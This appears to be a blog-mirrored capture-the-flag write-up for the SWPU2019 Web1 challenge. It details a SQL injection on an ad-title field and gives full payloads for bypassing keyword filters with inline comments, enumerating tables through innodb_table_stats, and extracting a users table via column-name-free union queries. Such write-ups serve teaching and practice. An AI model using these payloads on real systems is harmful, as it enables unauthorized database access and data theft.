当前位置:网站首页>[SWPU2019]Web1
[SWPU2019]Web1
2022-08-05 03:59:00 【pakho_C】
[SWPU2019]Web1
Try to register as admin,It shows that it already exists, but the blasting password is not revealed
Register a test account to log in
Apply to advertise
Attempt injection
Try using single quotes, and an error is reported
ExistenceInject, try the passcode

there is filtering, try to fuzz, but limit the number of times and do not allow the same ad title
soCan only test manually, filter or order floor updatexml # - etc, and automatically eliminate spaces, try to inline comments /**/bypass
Since or is filtered, then information_schema can't be used, only no columns can be usedName injection, refer to: SQL injection without column name injection
1. Use group by to get the number of columns: 1'/**/group/**/by/**/22,'1
1'/**/group/**/by/**/23,'1
the number of columns is 22
2. Use union query to view echo points: -1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
The echo point is 2 3
When looking up the table name, it is found that or is filtered and cannot be bypassed by capitalization and double writing, so information_schema cannot be used because it contains or.There are two ways to bypass
InnoDb Engine
Starting from MYSQL5.5.8, InnoDB has become its default storage engine.In versions above MYSQL 5.6, inndb adds two tables, innodb_index_stats and innodb_table_stats, both of which store information about the database and its data tables, but do not store column names.
sys database
In MYSQL above 5.7, a new sys database is added. The basic data of this library comes from information_schema and performance_chema, which does not store data itself.The table name can be obtained through the schema_auto_increment_columns in it.
Note: The sys library requires root privileges to access.innodb is disabled by default in mysql.
3. Use innodb to bypass and view the table name: -1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()&&'1'='1 
Get the table name ads users
4. Use columnless injection to view the content of the second field in the users table:
-1'/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1Note: Select 1, 2, 3 used for joint injection here can be tested. If they do not match, there will be a reminder
Measured as 3 columns
Get the field name flag, then the first value in the third field is flag
Change the column to be queried to 3.
-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
边栏推荐
猜你喜欢

markdown如何换行——md文件

【Mysql进阶优化篇02】索引失效的10种情况及原理

Android interview question - how to write with his hands a non-blocking thread safe queue ConcurrentLinkedQueue?

Developing Hololens encountered The type or namespace name 'HandMeshVertex' could not be found..

Index Mysql in order to optimize paper 02 】 【 10 kinds of circumstances and the principle of failure

Acid (ACID) Base (BASE) Principles for Database Design

如何解决复杂的分销分账问题?
![[极客大挑战 2019]FinalSQL](/img/e4/0c8225ef7c5e7e5bdbaac2ef6fc867.png)
[极客大挑战 2019]FinalSQL

Paparazzi: Surface Editing by way of Multi-View Image Processing
![[CISCN2019 华东南赛区]Web11](/img/15/843334fec0a5cc8cfaba92aab938db.png)
[CISCN2019 华东南赛区]Web11
随机推荐
bytebuffer put flip compact clear 方法演示
包拉链不可用,但是是被另一个包。
【测量学】速成汇总——摘录高数帮
The most comprehensive exam questions for software testing engineers in 2022
bytebuffer 内部结构
四位数显表头设计
10 years of testing experience, worthless in the face of the biological age of 35
Use Unity to publish APP to Hololens2 without pit tutorial
36-Jenkins-Job Migration
bytebuffer 使用demo
达梦8数据库导出导入
XMjs cross-domain problem solving
Call Alibaba Cloud oss and sms services
The test salary is so high?20K just graduated
DEJA_VU3D - Cesium功能集 之 059-腾讯地图纠偏
How to find all fields with empty data in sql
DNS被劫持如何处理?
ffmpeg enumeration decoders, encoders analysis
Android实战开发-Kotlin教程(入门篇-登录功能实现 3.3)
Some conventional routines of program development (1)